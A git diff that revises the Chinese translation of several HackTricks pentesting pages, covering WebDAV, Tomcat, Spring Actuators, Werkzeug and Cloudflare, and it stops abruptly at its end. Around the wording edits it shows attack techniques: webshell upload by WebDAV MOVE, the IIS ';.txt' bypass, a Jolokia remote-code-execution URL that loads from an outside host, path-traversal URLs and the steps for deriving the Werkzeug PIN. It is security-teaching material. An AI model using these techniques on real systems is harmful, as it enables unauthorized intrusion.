9b63f4ec1..6c40b6030 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md @@ -1,6 +1,6 @@ {{#include ../../../../banners/hacktricks-training.md}} -# PHP 5.x Shellshock 漏洞 +# PHP 5.x Shellshock 漏洞利用 来自 [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) ```php diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 72acbabe5..4b64c37b3 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -4,9 +4,9 @@ 当处理一个**启用WebDav的HTTP服务器**时,如果你拥有正确的**凭据**,通常通过**HTTP基本认证**进行验证,就可以**操纵文件**。控制这样的服务器通常涉及**上传和执行webshell**。 -访问WebDav服务器通常需要**有效的凭据**,[**WebDav暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth)是获取它们的常见方法。 +访问WebDav服务器通常需要**有效的凭据**,而[**WebDav暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth)是获取它们的常见方法。 -为了克服文件上传的限制,特别是那些阻止执行服务器端脚本的限制,你可以: +为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,你可以: - 如果没有限制,**直接上传**具有**可执行扩展名**的文件。 - **重命名**上传的非可执行文件(如.txt)为可执行扩展名。 @@ -21,7 +21,7 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every ``` ![](<../../images/image (851).png>) -这并不意味着 **.txt** 和 **.html 扩展名正在被执行**。这意味着您可以通过网络 **访问这些文件**。 +这并不意味着 **.txt** 和 **.html 扩展名正在被执行**。这意味着您可以 **通过网络访问这些文件**。 ## Cadaver @@ -39,9 +39,9 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav 漏洞 -这个漏洞非常有趣。**WebDav** **不允许** **上传** 或 **重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 就像它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"** 但 **不要忘记 ";"**)。 +这个漏洞非常有趣。**WebDav** 不允许 **上传** 或 **重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 如同它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"** 但 **不要忘记 ";"**)。 -然后你可以将你的 shell 作为一个 ".**txt" 文件** **上传** 并 **复制/移动** 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 **执行** (cadaver 会说移动操作没有成功,但实际上是成功的)。 +然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 **执行**(cadaver 会说移动操作没有成功,但实际上是成功的)。 ![](<../../images/image (1092).png>) @@ -65,9 +65,9 @@ Require valid-user ``` /etc/apache2/users.password ``` -在这种类型的文件中,您将找到 **用户名** 和 **密码** 的 **哈希**。这些是 webdav 服务器用于验证用户的凭据。 +在这种类型的文件中,您将找到 **username** 和 **hash** 的密码。这些是 webdav 服务器用于验证用户的凭据。 -您可以尝试 **破解** 它们,或者如果出于某种原因您想要 **访问** **webdav** 服务器,可以 **添加更多**: +您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** webdav 服务器,可以 **add more**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` @@ -75,7 +75,7 @@ htpasswd /etc/apache2/users.password #You will be prompted for the pa ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` -## 参考文献 +## 参考 - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index 01fdf0769..b9681ad35 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -6,7 +6,7 @@ 如果你是 Rocket Chat 的管理员,你可以获得 RCE。 -- 转到 **`Integrations`**,选择 **`New Integration`**,并选择任意:**`Incoming WebHook`** 或 **`Outgoing WebHook`**。 +- 转到 **`Integrations`**,选择 **`New Integration`**,并选择任意一个:**`Incoming WebHook`** 或 **`Outgoing WebHook`**。 - `/admin/integrations/incoming`
diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index eb64f80b2..3a20c8e15 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -72,20 +72,20 @@ - `Clear-Site-Data`: 指示应删除的缓存的头:`Clear-Site-Data: "cache", "cookies"` - `Expires`: 包含响应应过期的日期/时间:`Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` 与 `Cache-Control: no-cache` 相同 -- `Warning`: **`Warning`** 一般 HTTP 头包含有关消息状态可能存在问题的信息。响应中可能出现多个 `Warning` 头。`Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: **`Warning`** 一般 HTTP 头包含有关消息状态可能存在的问题的信息。响应中可能出现多个 `Warning` 头。`Warning: 110 anderson/1.3.37 "Response is stale"` ## 条件 -- 使用这些头的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头 **`Last-Modified`** 包含不同时间时才会返回数据。 +- 使用这些头的请求:**`If-Modified-Since`** 和 **`If-Unmodified-Since`** 仅在响应头\*\*`Last-Modified`\*\* 包含不同时间时才会返回数据。 - 使用 **`If-Match`** 和 **`If-None-Match`** 的条件请求使用 Etag 值,因此如果数据(Etag)已更改,Web 服务器将发送响应的内容。`Etag` 是从 HTTP 响应中获取的。 - **Etag** 值通常是 **基于** 响应的 **内容** 计算的。例如,`ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` 表示 `Etag` 是 **37 字节** 的 **Sha1**。 ## 范围请求 - **`Accept-Ranges`**: 指示服务器是否支持范围请求,如果支持,则以哪种单位表示范围。`Accept-Ranges: ` -- **`Range`**: 指示服务器应返回文档的哪一部分。 +- **`Range`**: 指示服务器应返回文档的部分。 - **`If-Range`**: 创建一个条件范围请求,仅在给定的 etag 或日期与远程资源匹配时满足。用于防止从不兼容版本的资源下载两个范围。 -- **`Content-Range`**: 指示部分消息在完整消息中的位置。 +- **`Content-Range`**: 指示部分消息在完整消息体中的位置。 ## 消息体信息 @@ -95,7 +95,7 @@ - **`Content-Language`**: 描述面向受众的人类语言,以便用户可以根据自己偏好的语言进行区分。 - **`Content-Location`**: 指示返回数据的替代位置。 -从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401** 或 **403** 的保护,并且您可以找到某种 **方法** 来 **获取** 这些 **信息**,这可能会是 **有趣的**。\ +从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401** 或 **403** 的保护,并且您可以找到某种 **方法** 来 **获取** 这些 **信息**,这可能会很 **有趣**。\ 例如,在 HEAD 请求中 **`Range`** 和 **`Etag`** 的组合可以通过 HEAD 请求泄露页面的内容: - 带有头 `Range: bytes=20-20` 的请求和包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` 的响应泄露了字节 20 的 SHA1 为 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -108,7 +108,7 @@ ## 控制 - **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`,表示资源支持这些方法。 -- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制有助于通过等待服务器确认来优化网络使用。 +- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制通过等待服务器确认来优化网络使用。 ## 下载 @@ -147,7 +147,7 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -此头部防止 MIME 类型嗅探,这种做法可能导致 XSS 漏洞。它确保浏览器遵循服务器指定的 MIME 类型。 +此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器遵循服务器指定的 MIME 类型。 ``` X-Content-Type-Options: nosniff ``` @@ -165,7 +165,7 @@ Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true ``` -### **跨源嵌入者策略 (COEP) 和跨源打开者策略 (COOP)** +### **跨源嵌入策略 (COEP) 和跨源打开策略 (COOP)** COEP 和 COOP 对于启用跨源隔离至关重要,显著降低了类似 Spectre 的攻击风险。它们分别控制跨源资源的加载和与跨源窗口的交互。 ``` diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 5289f9b4c..e8a761993 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -14,7 +14,7 @@ ### **关键点:** -- Spring Boot Actuators 注册的端点包括 `/health`、`/trace`、`/beans`、`/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,只有 `/health` 和 `/info` 默认是非敏感的,但开发人员通常会禁用此安全性。 +- Spring Boot Actuators 注册的端点包括 `/health`、`/trace`、`/beans`、`/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health` 和 `/info` 是非敏感的,但开发人员通常会禁用此安全性。 - 某些 Actuator 端点可能会暴露敏感数据或允许有害操作: - `/dump`、`/trace`、`/logfile`、`/shutdown`、`/mappings`、`/env`、`/actuator/env`、`/restart` 和 `/heapdump`。 - 在 Spring Boot 1.x 中,actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基础路径下。 @@ -22,7 +22,7 @@ ### **利用技术:** 1. **通过 '/jolokia' 进行远程代码执行**: -- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 的 HTTP 访问。 +- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 进行 HTTP 访问。 - `reloadByURL` 操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲目 XXE 或通过精心制作的 XML 配置进行远程代码执行。 - 示例利用 URL:`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`。 2. **通过 '/env' 进行配置修改**: diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md index d7d08db6f..4623cc230 100644 --- a/src/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/src/network-services-pentesting/pentesting-web/tomcat/README.md @@ -2,14 +2,14 @@ {{#include ../../../banners/hacktricks-training.md}} -## 发现 +## Discovery - 它通常运行在 **port 8080** - **常见的 Tomcat 错误:**
-## 枚举 +## Enumeration ### **版本识别** @@ -17,7 +17,7 @@ ```bash curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` -这将搜索文档索引页面中的“Tomcat”一词,揭示HTML响应中标题标签中的版本。 +这将搜索文档索引页面中的术语“Tomcat”,揭示HTML响应中标题标签中的版本。 ### **管理文件位置** @@ -25,7 +25,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ### **用户名枚举** -对于6之前的Tomcat版本,可以通过以下方式枚举用户名: +对于版本低于6的Tomcat,可以通过以下方式枚举用户名: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` @@ -44,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` -另一个显著的目录是 **`/manager/status`**,它显示了 Tomcat 和操作系统版本,有助于识别漏洞。 +另一个显著的目录是 **`/manager/status`**,它显示了 Tomcat 和操作系统版本,有助于漏洞识别。 ### **暴力攻击** @@ -62,7 +62,7 @@ Along with setting various parameters in Metasploit to target a specific host. ### **双重URL编码** -CVE-2007-1860 漏洞在 `mod_jk` 中允许双重URL编码路径遍历,通过特制的URL使未授权访问管理界面成为可能。 +`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历,通过特制的URL使未授权访问管理界面成为可能。 要访问Tomcat的管理网页,请前往: `pathTomcat/%252E%252E/manager/html` @@ -95,11 +95,11 @@ Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本(XSS ### **路径遍历漏洞** -在一些 [**易受攻击的Tomcat配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问Tomcat中的受保护目录。 +在某些 [**易受攻击的Tomcat配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) 中,您可以使用路径 `/..;/` 访问Tomcat中的受保护目录。 因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问Tomcat管理**页面。 -**另一种方法**是通过此技巧访问受保护路径,访问 `http://www.vulnerable.com/;param=value/manager/html` +**另一种方法**是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。 ## RCE @@ -107,7 +107,7 @@ Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本(XSS ### 限制 -您只能在拥有 **足够权限**(角色:**admin**,**manager** 和 **manager-script**)的情况下部署WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到,通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`(在不同版本之间有所不同)(见 [POST ](./#post)section)。 +您只能在拥有 **足够权限**(角色:**admin**、**manager** 和 **manager-script**)的情况下部署WAR。这些详细信息通常可以在 _tomcat-users.xml_ 中找到,通常定义在 `/usr/share/tomcat9/etc/tomcat-users.xml`(在不同版本之间有所不同)(见 [POST ](./#post)section)。 ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index b943928a4..53ed1f817 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,9 +4,9 @@ ## Common Techniques to Uncover Cloudflare -- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用过的 IP 地址上。 +- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用的 IP 地址上。 - 同样可以通过 **检查历史 SSL 证书** 来实现,这些证书可能指向原始 IP 地址。 -- 还要检查 **其他子域名的 DNS 记录,直接指向 IP**,因为其他子域名可能指向同一服务器(可能提供 FTP、邮件或其他服务)。 +- 还要检查 **指向 IP 的其他子域的 DNS 记录**,因为其他子域可能指向同一服务器(可能提供 FTP、邮件或其他服务)。 - 如果你在 **网络应用程序中发现 SSRF**,你可以利用它来获取服务器的 IP 地址。 - 在浏览器中搜索网页的唯一字符串,例如 shodan(也许还有 google 和类似的?)。也许你可以找到带有该内容的 IP 地址。 - 以类似的方式,除了寻找唯一字符串外,你还可以使用工具搜索 favicon 图标:[https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 或 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) @@ -17,7 +17,7 @@ - 在 [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 或 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) 中搜索域名。或者使用工具 [CloudPeler](https://github.com/zidansec/CloudPeler)(它使用该 API) - 在 [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) 中搜索域名 - [**CloudFlair**](https://github.com/christophetd/CloudFlair) 是一个工具,它将使用包含域名的 Censys 证书进行搜索,然后在这些证书中搜索 IPv4,最后尝试访问这些 IP 的网页。 -- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r):CloakQuest3r 是一个强大的 Python 工具,精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址,这是一个广泛采用的网络安全和性能增强服务。它的核心任务是准确识别隐藏在 Cloudflare 保护屏障后面的网络服务器的实际 IP 地址。 +- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r):CloakQuest3r 是一个强大的 Python 工具,精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址,这是一个广泛采用的网络安全和性能增强服务。其核心使命是准确识别隐藏在 Cloudflare 保护屏障后面的 Web 服务器的实际 IP 地址。 - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) @@ -91,7 +91,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### Cloudflare 解算器 -已经开发了多种 Cloudflare 解算器: +已经开发了许多 Cloudflare 解算器: - [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr) - [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [指南在这里](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/) @@ -103,7 +103,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. ### 加固的无头浏览器 -使用一个未被检测为自动化浏览器的无头浏览器(你可能需要为此进行定制)。一些选项包括: +使用一个不会被检测为自动化浏览器的无头浏览器(你可能需要为此进行定制)。一些选项包括: - **Puppeteer:** [stealth plugin](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) 用于 [puppeteer](https://github.com/puppeteer/puppeteer)。 - **Playwright:** [stealth plugin](https://www.npmjs.com/package/playwright-stealth) 很快将加入 Playwright。请关注 [这里](https://github.com/berstend/puppeteer-extra/issues/454) 和 [这里](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra) 的进展。 @@ -120,17 +120,17 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) - [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) 以其专有的 Cloudflare 绕过机制而闻名。 -对于寻求优化解决方案的人,[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中,自动选择最佳和最具成本效益的代理,以便为你的目标域名提供更优的选择,从而更好地应对 Cloudflare 的防御。 +对于那些寻求优化解决方案的人,[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中,自动选择最佳和最具成本效益的代理,以便为你的目标域名提供更优的选择,从而更好地应对 Cloudflare 的防御。 ### 逆向工程 Cloudflare 反机器人保护 -逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略,适合于大规模网页抓取,而无需高成本地运行多个无头浏览器。 +逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略,适合于大规模网页抓取,而无需高成本运行多个无头浏览器。 **优点:** 这种方法允许创建一个极其高效的绕过,专门针对 Cloudflare 的检查,适合大规模操作。 **缺点:** 缺点在于理解和欺骗 Cloudflare 故意模糊的反机器人系统的复杂性,需要持续努力测试不同的策略并在 Cloudflare 增强其保护时更新绕过。 -有关如何做到这一点的更多信息,请参见 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)。 +在 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) 中找到更多关于如何做到这一点的信息。 ## 参考文献 diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 77a9b21a9..f1c40cbc4 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -9,7 +9,7 @@ Pentesting APIs 涉及一种结构化的方法来发现漏洞。本指南概括 ### **Understanding API Types** - **SOAP/XML Web Services**: 使用 WSDL 格式进行文档编制,通常在 `?wsdl` 路径中找到。工具如 **SOAPUI** 和 **WSDLer** (Burp Suite Extension) 对于解析和生成请求非常重要。示例文档可在 [DNE Online](http://www.dneonline.com/calculator.asmx) 获取。 -- **REST APIs (JSON)**: 文档通常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具提供了更用户友好的交互界面。**Postman** 是创建和管理示例请求的有价值工具。 +- **REST APIs (JSON)**: 文档通常以 WADL 文件形式提供,但像 [Swagger UI](https://swagger.io/tools/swagger-ui/) 这样的工具提供了更用户友好的交互界面。**Postman** 是一个创建和管理示例请求的有价值工具。 - **GraphQL**: 一种用于 API 的查询语言,提供对 API 中数据的完整和可理解的描述。 ### **Practice Labs** @@ -19,13 +19,13 @@ Pentesting APIs 涉及一种结构化的方法来发现漏洞。本指南概括 ### **Effective Tricks for API Pentesting** - **SOAP/XML Vulnerabilities**: 探索 XXE 漏洞,尽管 DTD 声明通常受到限制。如果 XML 保持有效,CDATA 标签可能允许有效负载插入。 -- **Privilege Escalation**: 测试具有不同权限级别的端点,以识别未经授权的访问可能性。 +- **Privilege Escalation**: 测试具有不同权限级别的端点,以识别未授权访问的可能性。 - **CORS Misconfigurations**: 检查 CORS 设置,以寻找通过已认证会话的 CSRF 攻击的潜在利用可能性。 -- **Endpoint Discovery**: 利用 API 模式发现隐藏的端点。像模糊测试工具可以自动化此过程。 -- **Parameter Tampering**: 尝试在请求中添加或替换参数,以访问未经授权的数据或功能。 +- **Endpoint Discovery**: 利用 API 模式发现隐藏的端点。像模糊测试工具这样的工具可以自动化此过程。 +- **Parameter Tampering**: 尝试在请求中添加或替换参数,以访问未授权的数据或功能。 - **HTTP Method Testing**: 变更请求方法(GET, POST, PUT, DELETE, PATCH)以发现意外行为或信息泄露。 -- **Content-Type Manipulation**: 在不同内容类型(x-www-form-urlencoded, application/xml, application/json)之间切换,以测试解析问题或漏洞。 -- **Advanced Parameter Techniques**: 在 JSON 有效负载中测试意外数据类型或玩弄 XML 数据以进行 XXE 注入。同时,尝试参数污染和通配符字符以进行更广泛的测试。 +- **Content-Type Manipulation**: 在不同的内容类型(x-www-form-urlencoded, application/xml, application/json)之间切换,以测试解析问题或漏洞。 +- **Advanced Parameter Techniques**: 在 JSON 有效负载中测试意外数据类型,或玩弄 XML 数据以进行 XXE 注入。同时,尝试参数污染和通配符字符以进行更广泛的测试。 - **Version Testing**: 较旧的 API 版本可能更容易受到攻击。始终检查并测试多个 API 版本。 ### **Tools and Resources for API Pentesting** @@ -46,9 +46,9 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 - **OWASP API Security Top 10**: 理解常见 API 漏洞的必读材料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 - **API 安全检查清单**: 一个全面的 API 安全检查清单 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。 - **Logger++ 过滤器**: 用于寻找 API 漏洞,Logger++ 提供有用的过滤器 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 -- **API 端点列表**: 一个为测试目的整理的潜在 API 端点列表 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 +- **API 端点列表**: 一个经过策划的潜在 API 端点列表,用于测试目的 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 -## 参考文献 +## 参考 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index 3c8fd7aec..cfe44f437 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -13,13 +13,13 @@ __import__('os').popen('whoami').read(); 互联网上还有几个漏洞,比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或metasploit中的一个。 -## PIN保护 - 路径遍历 +## Pin 保护 - 路径遍历 -在某些情况下,**`/console`** 端点将受到PIN保护。如果您有**文件遍历漏洞**,您可以泄露生成该PIN所需的所有信息。 +在某些情况下,**`/console`** 端点将受到 pin 的保护。如果您有 **文件遍历漏洞**,您可以泄露生成该 pin 所需的所有信息。 -### Werkzeug控制台PIN漏洞 +### Werkzeug 控制台 PIN 漏洞 -在应用程序中强制显示调试错误页面以查看此内容: +在应用程序中强制出现调试错误页面以查看此内容: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your @@ -31,17 +31,17 @@ shell that runs the server #### **`probably_public_bits`** -- **`username`**:指发起 Flask 会话的用户。 -- **`modname`**:通常指定为 `flask.app`。 -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**:通常解析为 **Flask**。 -- **`getattr(mod, '__file__', None)`**:表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。 +- **`username`**: 指发起 Flask 会话的用户。 +- **`modname`**: 通常指定为 `flask.app`。 +- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 通常解析为 **Flask**。 +- **`getattr(mod, '__file__', None)`**: 表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。 #### **`private_bits`** -- **`uuid.getnode()`**:获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。 +- **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。 -- 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找到设备 ID,然后 **从 `/sys/class/net//address`** 中提取 MAC 地址。 -- 可以按如下方式将十六进制 MAC 地址转换为十进制: +- 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以查找设备 ID,然后 **从 `/sys/class/net//address`** 中提取 MAC 地址。 +- 将十六进制 MAC 地址转换为十进制可以如下进行: ```python # 示例 MAC 地址: 56:00:02:7a:23:ac @@ -49,7 +49,7 @@ shell that runs the server 94558041547692 ``` -- **`get_machine_id()`**:将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。 +- **`get_machine_id()`**: 将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
@@ -95,7 +95,7 @@ try: 在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN: -在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN。该脚本使用组装的 `probably_public_bits` 和 `private_bits` 创建一个哈希,然后经过进一步处理以生成最终的 PIN。以下是执行此过程的 Python 代码: +在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN。该脚本使用组装的 `probably_public_bits` 和 `private_bits` 创建哈希,然后经过进一步处理以生成最终 PIN。以下是执行此过程的 Python 代码: ```python import hashlib from itertools import chain @@ -148,7 +148,7 @@ print(rv) ## Werkzeug Unicode 字符 -正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。而正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。 +正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。 这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。 diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index fcc3f103e..39582b613 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -16,26 +16,26 @@ - `index.php` - `license.txt` 包含有用的信息,例如安装的 WordPress 版本。 -- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。 +- `wp-activate.php` 用于设置新 WordPress 站点时的电子邮件激活过程。 - 登录文件夹(可能被重命名以隐藏): - `/wp-admin/login.php` - 